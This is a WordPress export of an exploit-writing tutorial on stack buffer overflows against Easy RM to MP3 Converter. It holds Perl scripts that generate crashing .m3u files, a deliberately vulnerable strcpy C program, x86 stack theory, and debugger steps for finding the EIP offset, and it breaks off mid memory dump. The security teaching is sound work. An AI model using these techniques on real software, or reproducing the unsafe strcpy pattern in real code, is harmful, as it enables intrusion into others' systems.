{"id":2114,"date":"2009-07-19T08:55:19","date_gmt":"2009-07-19T06:55:19","guid":{"rendered":"http:\/\/www.corelan.be:8800\/index.php\/2009\/07\/19\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-1\/"},"modified":"2026-04-01T13:37:55","modified_gmt":"2026-04-01T11:37:55","slug":"exploit-writing-tutorial-part-1-stack-based-overflows","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/07\/19\/exploit-writing-tutorial-part-1-stack-based-overflows\/","title":{"rendered":"Exploit writing tutorial part 1 : Stack Based Overflows"},"content":{"rendered":"<p>Last friday (july 17th 2009), somebody (nick)named \u2018Crazy_Hacker\u2019 has reported a vulnerability in <a href=\"https:\/\/web.archive.org\/web\/20160304214949\/http:\/\/rm-to-mp3.net\/download.html\" target=\"_blank\" rel=\"noopener noreferrer\">Easy RM to MP3 Conversion Utility<\/a> (on XP SP2 En), via packetstormsecurity.org. (see <a title=\"http:\/\/packetstormsecurity.org\/0907-exploits\/mixsense-crash.txt\" href=\"http:\/\/packetstormsecurity.org\/0907-exploits\/\">http:\/\/packetstormsecurity.org\/0907-exploits\/<\/a>). The vulnerability report included a proof of concept exploit (which, by the way,\u00a0 failed to work on my MS Virtual PC based XP SP3 En).<\/p>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/9186\">Another exploit<\/a> was released just a little bit later. Nice work.<\/p>\n<p>You can copy the PoC exploit code, run it, see that it doesn\u2019t work (or if you are lucky, conclude that it works), or\u2026 you can try to understand the process of building the exploit so you can correct broken exploits, or just build your own exploits from scratch.<\/p>\n<p>(By the way : unless you can disassemble, read and comprehend shellcode real fast, I would never advise you to just take an exploit (especially if it\u2019s a precompiled executable) and run it.\u00a0 What if it\u2019s just built to open a backdoor on your own computer ?<\/p>\n<p>The question is : How do exploit writers build their exploits ? What does the process of going from detecting a possible issue to building an actual working exploit look like ? How can you use vulnerability information to build your own exploit ?<\/p>\n<p>Ever since I\u2019ve started this blog, writing a basic tutorial about writing buffer overflows has been on my \u201cto do\u201d list\u2026 but I never really took the time to do so (or simply forgot about it).<\/p>\n<p>When I saw the vulnerability report today, and had a look at the exploit, I figured this vulnerability report could acts as a perfect example to explain the basics about writing exploits\u2026 It\u2019s clean, simple and allows me to demonstrate some of the techniques that are used to write working and stable stack based buffer overflows.<\/p>\n<p>So perhaps this is a good time\u2026\u00a0 Despite the fact that the aforementioned vulnerability report already includes an exploit (working or not), I\u2019ll still use the vulnerability in \u201cEasy RM to MP3 conversion utility\u201d as an example and we\u2019ll go through the steps of building a working exploit, without copying anything from the original exploit. We\u2019ll just build it from scratch (and make it work on XP SP3 this time \ud83d\ude42 )<\/p>\n<p>Before we continue, let me get one thing straight.<br \/>This document is purely intended for educational purposes. I do not want anyone to use this information (or any information on this blog) to actually hack into computers or do other illegal things. So I cannot be held responsible for the acts of other people who took parts of this document and used it for illegal purposes.<\/p>\n<p>Anyways, that having said, the kind of information that you get from vulnerability reports usually contains information on the basics of the vulnerability.<br \/>In this case, the vulnerability report states \u201cEasy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file\u201d. In other words, you can create a malicious .m3u file, feed it into the utility and trigger the exploit.<br \/>These reports may not be very specific every time, but in most cases you can get an idea of how you can simulate a crash or make the application behave weird. If not, then the security researcher probably wanted to disclose his\/her findings first to the vendor, give them the opportunity to fix things\u2026 or just wants to keep the intel for him\/herself\u2026<\/p>\n<h3>Verify the bug<\/h3>\n<p>First of all, let\u2019s verify that the application does indeed crash when opening a malformed m3u file. (or find yourself an application that crashes when you feed specifically crafted data to it).<br \/>Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it on a computer running Windows XP. The vulnerability report states that the exploit works on XP SP2 (English), but I\u2019ll use XP SP3 (English).<br \/>You can find a copy of the vulnerable application on <a href=\"https:\/\/www.exploit-db.com\/exploits\/10619\">exploit-db<\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image4.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb4.png\" alt=\"image\" width=\"407\" height=\"172\" border=\"0\" \/><\/a><\/p>\n<p><em>Quick sidenote : you can find older versions of applications at <\/em><a title=\"oldapps.com\" href=\"http:\/\/oldapps.com\/\"><em>oldapps.com<\/em><\/a><em> and <\/em><a title=\"oldversion.com\" href=\"http:\/\/oldversion.com\/\"><em>oldversion.com<\/em><\/a>, or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable application as well)<\/p>\n<p>We\u2019ll use the following simple perl script to create a .m3u file that may help us to discover more information about the vulnerability :<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"crash.m3u\"<\/span>; \nmy $junk= <span style=\"color: #006080;\">\"\\x41\"<\/span> x 10000; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE <span style=\"color: #006080;\">\"$junk\"<\/span>; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>Run the perl script to create the m3u file. The fill will be filled with 10000 A\u2019s (\\x41 is the hexadecimal representation of A) and open this m3u file with Easy RM to MP3\u2026.<\/p>\n<p>The application throws an error, but it looks like the error is handled correctly and the application does not crash.\u00a0 Modify the script to write a file with 20000 A\u2019s and try again.\u00a0\u00a0 Same behaviour. (exception is handled correctly, so we still could not overwrite anything usefull).<\/p>\n<p>Now change the script to write 30000 A\u2019s, create the m3u file and open it in the utility.<\/p>\n<p>Boom - application dies.<\/p>\n<p>Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A\u2019s. But what can we do with this ?<\/p>\n<h3>Verify the bug - and see if it could be interesting<\/h3>\n<p>Obviously, not every application crash can lead to an exploitation. In many cases, an application crash will not lead to exploitation\u2026 But sometimes it does.\u00a0\u00a0 With \u201cexploitation\u201d, I mean that you want the application to do something it was not intended to do\u2026 such as running your own code.\u00a0 The easiest way to make an application do something different is by controlling its application flow (and redirect it to somewhere else).<\/p>\n<p>This can be done by controlling the <a href=\"http:\/\/en.wikipedia.org\/wiki\/X86_assembly_language\" target=\"_blank\" rel=\"noopener noreferrer\">Instruction Pointer<\/a> (or Program Counter), which is a CPU register that contains a pointer to where the next instruction that needs to be executed is located. Suppose an application calls a function with a parameter. Before going to the function, it saves the current location in the instruction pointer (so it knows where to return when the function completes).<\/p>\n<p>If you can modify the value in the instruction pointer, and point it to a location in memory that contains your own piece of code, then you can change the application flow and make it execute something different (other than returning back to the original place).<\/p>\n<p>The code that you want to be executed after controlling the flow is often referred to as \u201cshellcode\u201d. So if we make the application run our shellcode, we can call it a working exploit.<\/p>\n<p>In most cases, this pointer is referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you own the application (and the computer the application runs on)<\/p>\n<h3>Before we proceed - some theory<\/h3>\n<p>Just a few terms that you will need : Every Windows application uses parts of memory.\u00a0 The process memory contains 3 major components :<\/p>\n<ul>\n<li>code segment (instructions that the processor executes.\u00a0 The EIP keeps track of the next instruction)<\/li>\n<li>data segment (variables, dynamic buffers)<\/li>\n<li>stack segment (used to pass data\/arguments to functions, and is used as space for variables. The stack starts (= the bottom of the stack) from the very end of the virtual memory of a page and its consumption grows to a lower address.\u00a0 a PUSH adds something to the top of the stack, POP will remove one item (4 bytes) from the stack and puts it in a register.<\/li>\n<\/ul>\n<p>If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points at the top (so the lowest memory address) of the stack.<\/p>\n<ul>\n<li>After a push, ESP will point to a lower memory address (address is decremented with the size of the data that is pushed onto the stack, which is 4 bytes in case of addresses\/pointers). Decrements usually happen before the item is placed on the stack (depending on the implementation\u2026 if ESP already points at the next free location in the stack, the decrement happens after placing data on the stack)<\/li>\n<li>After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case of addresses\/pointers)). Increments happen after an item is removed from the stack.<\/li>\n<\/ul>\n<p>When a function\/subroutine is entered, a stack frame is created. This frame keeps the parameters of the parent procedure together and is used to pass arguments to the subrouting.\u00a0 The current location of the stack can be accessed via the stack pointer (ESP), the current base of the function is contained in the base pointer (EBP) (or frame pointer). The CPU\u2019s general purpose registers (Intel, x86) are :<\/p>\n<ul>\n<li>EAX : accumulator : used for performing calculations, and used to store return values from function calls. Basic operations such as add, subtract, compare use this general-purpose register<\/li>\n<li>EBX : base (does not have anything to do with base pointer). It has no general purpose and can be used to store data.<\/li>\n<li>ECX : counter : used for iterations. ECX counts downward.<\/li>\n<li>EDX : data : this is an extension of the EAX register. It allows for more complex calculations (multiply, divide) by allowing extra data to be stored to facilitate those calculations.<\/li>\n<li>ESP : stack pointer<\/li>\n<li>EBP : base pointer<\/li>\n<li>ESI : source index : holds location of input data<\/li>\n<li>EDI : destination index\u00a0 : points to location of where result of data operation is stored<\/li>\n<li>EIP : instruction pointer<\/li>\n<\/ul>\n<h3>Process Memory<\/h3>\n<p>When an application is stared in a Win32 environment, a process is created and virtual memory is assigned to.\u00a0 In a 32 bit process, the address ranges from 0x00000000 to 0xFFFFFFFF, where 0x00000000 to 0x7FFFFFFF is assigned to \"user-land\", and 0x80000000 to 0xFFFFFFFF is assigned to \"kernel land\".\u00a0 Windows uses the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Flat_memory_model\" target=\"_blank\" rel=\"noopener noreferrer\">flat memory model<\/a>, which means that the CPU can directly\/sequentially\/linearly address all of the available memory locations, without having to use a segmentation\/paging scheme. Kernel land memory is only accessible by the OS.<\/p>\n<p>When a process is created, a <a href=\"http:\/\/undocumented.ntinternals.net\/UserMode\/Undocumented%20Functions\/NT%20Objects\/Process\/PEB.html\" target=\"_blank\" rel=\"noopener noreferrer\">PEB<\/a> (Process Execution Block) and TEB (Thread Environment Block) are created. The PEB contains all user land parameters that are associated with the current process :<\/p>\n<ul>\n<li>location of the main executable<\/li>\n<li>pointer to loader data (can be used to list all dll's \/ modules that are\/can be loaded into the process)<\/li>\n<li>pointer to information about the heap<\/li>\n<\/ul>\n<p>The TEB describes the state of a thread, and includes<\/p>\n<ul>\n<li>location of the PEB in memory<\/li>\n<li>location of the stack for the thread it belongs to<\/li>\n<li>pointer to the first entry in the SEH chain (see tutorial 3 and 3b to learn more about what a SEH chain is)<\/li>\n<\/ul>\n<p>Each thread inside the process has a TEB.<\/p>\n<p>A typical Win32 process memory map looks like this :<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"display: block; margin-left: auto; margin-right: auto;\" title=\"Screenshot 2026-03-31 at 19.24.55.png\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/win32processScreenshot-2026-03-31-at-19.24.55.png\" alt=\"win32process\" width=\"599\" height=\"415\" border=\"0\" \/><\/p>\n<p>The text segment of an application exe \/ dll is readonly, as it only contains the application code. This prevents people from modifying the application code. The size of this segment is specified in the header of the PE file format.<\/p>\n<p>The data segment is used to store global and static program variables. The data segment is used for initialized global variables, strings, and other constants. The data\u00a0 segment is writable and has a fixed size.<\/p>\n<p>The heap provides a dynamic way to consume memory. Its consumption can grow larger or smaller as desired.\u00a0 All of the memory in the heap is managed by allocator (and deallocator) algorithms. A memory region is reserved by these algo\u2019s.<\/p>\n<p>In a dll, the code, imports (list of functions used by the dll, from another dll or application), and exports (functions it makes available to other dll's applications) are part of the .text segment.<\/p>\n<h3>The Stack<\/h3>\n<p>The <a href=\"http:\/\/en.wikipedia.org\/wiki\/Stack-based_memory_allocation\" target=\"_blank\" rel=\"noopener noreferrer\">stack<\/a> is a piece of the process memory, a data structure that works LIFO (Last in first out). A stack gets allocated by the OS, for each thread (when the thread is created).\u00a0 When the thread ends, the stack is cleared as well.\u00a0\u00a0\u00a0 The size of the stack is defined when it gets created and doesn't change. Combined with LIFO and the fact that it does not require complex management structures\/mechanisms to get managed, the stack is pretty fast, but limited in size.<\/p>\n<p>LIFO means that the most recent placed data (result of a PUSH instruction) is the first one that will be removed from the stack again. (by a POP instruction).<\/p>\n<p>When a stack is created, the stack pointer points to the top of the stack ( = the highest address on the stack). As information is pushed onto the stack, this stack pointer decrements (goes to a lower address).\u00a0 So in essence, the stack grows to a lower address.<\/p>\n<p>The stack contains local variables, function calls and other info that does not need to be stored for a larger amount of time.\u00a0\u00a0 As more data is added to the stack (pushed onto the stack), the stack pointer is decremented and points at a lower address value.<\/p>\n<p>Every time a function is called, the function parameters are pushed onto the stack, as well\u00a0 as the saved values of registers (EBP, EIP).\u00a0 When a function returns, the saved value of EIP is retrieved from the stack and placed back in EIP, so the normal application flow can be resumed. Let's use a few lines of simple code to demonstrate the behaviour :<\/p>\n<pre>#include &lt;string.h&gt; \n\nvoid do_something(char *Buffer) \n{\n   char MyVar[128];\n   strcpy(MyVar,Buffer);\n} \n\nint main (int argc, char **argv) \n{\n   do_something(argv[1]); \n}\n\n<\/pre>\n<blockquote>\n<p>(You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32 console project (use C as language, not C++), paste the code and compile it). On my system, I called the project \"stacktest\".<\/p>\n<p>Run the application : \"stacktest.exe AAAA\".<\/p>\n<p>Nothing should return.<\/p>\n<\/blockquote>\n<p>This applications takes an argument (argv[1] and passes the argument to function do_something().\u00a0 In that function, the argument is copied into a local variable that has a maximum of 128 bytes. So... if the argument is longer than 127 bytes (+ a null byte to terminate the string), the buffer may get overflown. When function \"do_something(param1)\" gets called from inside main(), the following things happen :<\/p>\n<ol>\n<li>A new stack frame will be created, on top of the \u2018parent\u2019 stack.<\/li>\n<li>The stack pointer (ESP) points to the highest address of the newly created stack frame.<\/li>\n<\/ol>\n<p>This is the \"top of the stack\".<\/p>\n<p><a class=\"thickbox\" href=\"\/wp-content\/uploads\/2010\/09\/image19.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb19.png\" alt=\"image\" width=\"273\" height=\"344\" border=\"0\" \/><\/a><\/p>\n<p>Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our case, this is a pointer to argv[1].<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image26.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb26.png\" alt=\"image\" width=\"617\" height=\"262\" border=\"0\" \/><\/a><\/p>\n<p>Stack after the MOV instruction :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image27.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb27.png\" alt=\"image\" width=\"520\" height=\"113\" border=\"0\" \/><\/a><\/p>\n<p>Next, function do_something is called.\u00a0 The CALL instruction will first put the current instruction pointer onto the stack (so it knows where to return to if the function ends) and will then jump to the function code. Stack after the CALL instruction :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image28.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb28.png\" alt=\"image\" width=\"519\" height=\"149\" border=\"0\" \/><\/a><\/p>\n<p>As a result of the push, ESP decrements 4 bytes and now points to a lower address.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image20.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb20.png\" alt=\"image\" width=\"321\" height=\"407\" border=\"0\" \/><\/a><\/p>\n<p>(or, as seen in a debugger) : ESP points at 0022FF5C. At this address, we see the saved EIP (Return to...), followed by a pointer to the parameter (AAAA in this example).<\/p>\n<p>This pointer was saved on the stack before the CALL instruction was executed.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2011\/12\/image.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; margin: 7px; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2011\/12\/image_thumb.png\" alt=\"image\" width=\"738\" height=\"119\" border=\"0\" \/><\/a><\/p>\n<p>Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack, so it can be restored as well when the function returns. The instruction to save the frame pointer is \"push ebp\". ESP is decremented again with 4 bytes.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image22.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb22.png\" alt=\"image\" width=\"340\" height=\"432\" border=\"0\" \/><\/a><\/p>\n<p>Following the push ebp, the current stack pointer (ESP) is put in EBP.\u00a0 At that point, both ESP and EBP point at the top of the current stack. From that point on, the stack will usually be referenced by ESP (top of the stack at any time) and EBP (the base pointer of the current stack). This way, the application can reference variables by using an offset to EBP.<\/p>\n<blockquote>\n<p>Most functions start with this sequence :\u00a0 PUSH EBP, followed by MOV EBP,ESP<\/p>\n<\/blockquote>\n<p>So, if you would push 4 bytes to the stack, ESP would decrement with 4 bytes and EBP would still stay where it was. You can then reference these 4 bytes using EBP-0x4.<\/p>\n<p>Next, we can see how stack space for the variable MyVar (128bytes) is declared\/allocated. In order to hold the data, some space is allocated on the stack to hold data in this variable... ESP is decremented by a number of bytes.<\/p>\n<p>This number of bytes wil most likely be more than 128 bytes, because of an allocation routine determined by the compiler.\u00a0 In the case of Dev-C++, this is 0x98 bytes.<\/p>\n<p>So you will see a SUB ESP,0x98 instruction.\u00a0 That way, there will be space available for this variable.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image23.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb23.png\" alt=\"image\" width=\"355\" height=\"427\" border=\"0\" \/><\/a><\/p>\n<p>The disassembly of the function looks like this :<\/p>\n<pre class=\"brush:plain\">00401290 \/$ 55             PUSH EBP \n00401291 |. 89E5           MOV EBP,ESP \n00401293 |. 81EC 98000000  SUB ESP,98 \n00401299 |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]  ; | \n0040129C |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX  ; | \n004012A0 |. 8D85 78FFFFFF  LEA EAX,DWORD PTR SS:[EBP-88] ; | \n004012A6 |. 890424         MOV DWORD PTR SS:[ESP],EAX    ; | \n004012A9 |. E8 72050000    CALL ; \\strcpy \n004012AE |. C9 LEAVE \n004012AF \\. C3 RETN<\/pre>\n<p>(don't worry about the code too much.<\/p>\n<p>You can clearly see the function prolog (PUSH EBP and MOV EBP,ESP), you can also see where space gets allocated for MyVar (SUB ESP,98), and you can see some MOV and LEA instructions (which basically set up the parameters for the strcpy function...\u00a0 taking the pointer where argv[1] sits and using it to copy data from, into MyVar. If there would not have been a strcpy() in this function, the function would now end and \"unwind\" the stack. Basically, it would just move ESP back to the location where saved EIP was, and then issues a RET instruction.<\/p>\n<p>A ret, in this case, will pick up the saved EIP pointer from the stack and jump to it. (thus, it will go back to the main function, right after where do_something() was called).<\/p>\n<p>The epilog instruction is executed by a LEAVE instruction (which will restore both the framepointer and EIP). In my example, we have a strcpy() function. This function will read data, from the address pointed to by [Buffer], and store it in &lt;space for MyVar&gt;, reading all data until it sees a null byte (string terminator).\u00a0 While it copies the data, ESP stays where it is.<\/p>\n<p>The strcpy() does not use PUSH instructions to put data on the stack... it basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2, etc).<\/p>\n<p>So after the copy, ESP still points at the begin of the string.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image24.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb24.png\" alt=\"image\" width=\"368\" height=\"325\" border=\"0\" \/><\/a><\/p>\n<p>That means... If the data in [Buffer] is somewhat longer than 0x98 bytes, the strcpy() will overwrite saved EBP and eventually saved EIP (and so on).<\/p>\n<p>After all, it just continues to read &amp; write until it reaches a null byte in the source location (in case of a string)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/09\/image25.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/09\/image_thumb25.png\" alt=\"image\" width=\"368\" height=\"323\" border=\"0\" \/><\/a><\/p>\n<p>ESP still points at the begin of the string.\u00a0 The strcpy() completes as if nothing is wrong.\u00a0 After the strcpy(), the function ends.<\/p>\n<p>And this is where things get interesting.\u00a0 The function epilog kicks in.\u00a0 Basically, it will move ESP back to the location where saved EIP was stored, and it will issue a RET.\u00a0 It will take the pointer (AAAA or 0x41414141 in our case, since it got overwritten), and will jump to that address.<\/p>\n<p>So you control EIP. Long story short, by controlling EIP, you basically change the return address that the function will uses in order to \u201cresume normal flow\u201d. Of course, if you change this return address by issuing a buffer overflow, it\u2019s not a \u201cnormal flow\u201d anymore.<\/p>\n<p>So... Suppose you can overwrite the buffer in MyVar, EBP, EIP and you have A's (your own code) in the area before and after saved EIP\u2026 think about it.<\/p>\n<p>After sending the buffer ([MyVar][EBP][EIP][your code]), ESP will\/should point at the beginning of [your code].<\/p>\n<p>So if you can make EIP go to your code, you\u2019re in control.<\/p>\n<blockquote>\n<p>Note : when a buffer on the stack overflows, the term \"stack based overflow\" or \"<a href=\"http:\/\/en.wikipedia.org\/wiki\/Stack_buffer_overflow\" target=\"_blank\" rel=\"noopener noreferrer\">stack buffer overflow<\/a>\" is used. When you are trying to write past the end of the stack frame, the term \"<a href=\"http:\/\/en.wikipedia.org\/wiki\/Stack_overflow\" target=\"_blank\" rel=\"noopener noreferrer\">stack overflow<\/a>\" is used. Don't mix those two up, as they are entirely different.<\/p>\n<\/blockquote>\n<h3>The debugger<\/h3>\n<p>In order to see the state of the stack (and value of registers such as the instruction pointer, stack pointer etc), we need to hook up a debugger to the application, so we can see what happens at the time the application runs (and especially when it dies).<\/p>\n<p>There are many debuggers available for this purpose. The two debuggers I use most often are Windbg and Immunity\u2019s Debugger.<\/p>\n<p>Install Windbg (Full install) and register it as a \u201cpost-mortem\u201d debugger using\u00a0 \u201cwindbg -I\u201d.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image5.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb5.png\" alt=\"image\" width=\"368\" height=\"69\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image6.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb6.png\" alt=\"image\" width=\"392\" height=\"172\" border=\"0\" \/><\/a><\/p>\n<p>You can also disable the \u201cxxxx has encountered a problem and needs to close\u201d popup by setting the following registry key : HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\Auto : set to 0<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image7.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb7.png\" alt=\"image\" width=\"357\" height=\"135\" border=\"0\" \/><\/a><\/p>\n<p>In order to avoid Windbg complaining about Symbol files not found, create a folder on your harddrive (let\u2019s say c:\\windbgsymbols). Then, in Windbg, go to \u201cFile\u201d - \u201cSymbol File Path\u201d and enter the following string :<\/p>\n<blockquote>\n<p>SRV*C:\\windbgsymbols*http:\/\/msdl.microsoft.com\/download\/symbols<\/p>\n<\/blockquote>\n<p><strong>(do NOT put an empty line after this string ! make sure this string is the only string in the symbol path field)<\/strong><\/p>\n<p>If you want to use Immunity Debugger instead : get a copy <a href=\"https:\/\/github.com\/corelan\/CorelanTraining\/raw\/refs\/heads\/master\/ImmunityDebugger_1_85_setup.exe\">here<\/a> and install it.<\/p>\n<p>Open Immunity debugger, go to \"Options\" - \"Just in-time debugging\" and click \"Make Immunity Debugger just in-time debugger\".<\/p>\n<p>Ok, let\u2019s get started.<\/p>\n<p>Launch Easy RM to MP3, and then open the crash.m3u file again.<\/p>\n<p>The application will crash again. If you have disabled the popups, windbg or Immunity debugger will kick in automatically.<\/p>\n<p>If you get a popup, click the \u201cdebug\u201d button and the debugger will be launched :<\/p>\n<p>Windbg :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image50.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image50_thumb.png\" alt=\"image\" width=\"387\" height=\"409\" border=\"0\" \/><\/a><\/p>\n<p>Immunity :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/08\/image11.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2010\/08\/image_thumb11.png\" alt=\"image\" width=\"551\" height=\"419\" border=\"0\" \/><\/a><\/p>\n<p>This GUI shows the same information, but in a more...errr.. graphical way.\u00a0 In the upper left corner, you have the CPU view, which shows assembly instructions and their opcodes.\u00a0 (the window is empty because EIP currently points at 41414141 and that's not a valid address).<\/p>\n<p>In the upper right windows, you can see the registers.\u00a0 In the lower left corner, you see the memory dump of 00446000 in this case.<\/p>\n<p>In the lower right corner, you can see the contents of the stack (so the contents of memory at the location where ESP points at).<\/p>\n<p>Anyways, in both cases, we can see that the instruction pointer contains 41414141, which is the hexidecimal representation for AAAA.<\/p>\n<blockquote>\n<p>A quick note before proceeding : On intel x86, the addresses are stored little-endian (so backwards).\u00a0 The AAAA you are seeing is in fact AAAA \ud83d\ude42\u00a0 (or, if you have sent ABCD in your buffer, EIP would point at 44434241 (DCBA)<\/p>\n<\/blockquote>\n<p>So it looks like part of our m3u file was read into the buffer and caused the buffer to overflow.\u00a0 We have been able to overflow the buffer and write across the instruction pointer.<\/p>\n<p>So we may be able to control the value of EIP. Since our file does only contain A\u2019s, we don\u2019t know exactly how big our buffer needs to be in order to write exactly into EIP. In other words, if we want to be specific in overwriting EIP (so we can feed it usable data and make it jump to our evil code, we need to know the exact position in our buffer\/payload where we overwrite the return address (which will become EIP when the function returns).<\/p>\n<p>This position is often referred to as the \u201coffset\u201d.<\/p>\n<h3>Determining the buffer size to write exactly into EIP<\/h3>\n<p>We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning of the buffer. Now, you could potentially overwrite all memory space between 20000 and 30000 bytes with the address you want to overwrite EIP with.<\/p>\n<p>This may work, but it looks much more nice if you can find the exact location to perform the overwrite. In order to determine the exact offset of EIP in our buffer, we need to do some additional work.<\/p>\n<p>First, let\u2019s try to narrow down the location by changing our perl script just a little : Let\u2019s cut things in half.\u00a0 We\u2019ll create a file that contains 25000 A\u2019s and another 5000 B\u2019s.<\/p>\n<p>If EIP contains an 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242 (BBBB), EIP sits between 25000 and 30000.<\/p>\n<pre>my $file= <span style=\"color: #006080;\">\"crash25000.m3u\"<\/span>;\nmy $junk = <span style=\"color: #006080;\">\"\\x41\"<\/span> x 25000; \nmy $junk2 = <span style=\"color: #006080;\">\"\\x42\"<\/span> x 5000; \nopen($FILE,<span style=\"color: #006080;\">\"&gt;$file\"<\/span>); \nprint $FILE $junk.$junk2; \nclose($FILE); \nprint <span style=\"color: #006080;\">\"m3u File Created successfully\\n\"<\/span>;<\/pre>\n<p>Create the file and open crash25000.m3u in Easy RM to MP3.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image58.png\" target=\"_blank\" rel=\"noopener noreferrer\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border-width: 0px;\" title=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image58_thumb.png\" alt=\"image\" width=\"570\" height=\"124\" border=\"0\" \/><\/a><\/p>\n<p>OK, so eip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000. That also means that we should\/may see the remaining B\u2019s in memory where ESP points at (given that EIP was overwritten before the end of the 30000 character buffer)<\/p>\n<pre>Buffer : [\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 5000 B<span style=\"color: #006080;\">'s ] [AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......] <br \/>                                  25000 A'<\/span>s                     EIP    ESP points here<\/pre>\n<p>dump the contents of ESP :<\/p>\n<pre>0:000&gt; d esp \n000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB \n000ff790 42 42 42 42 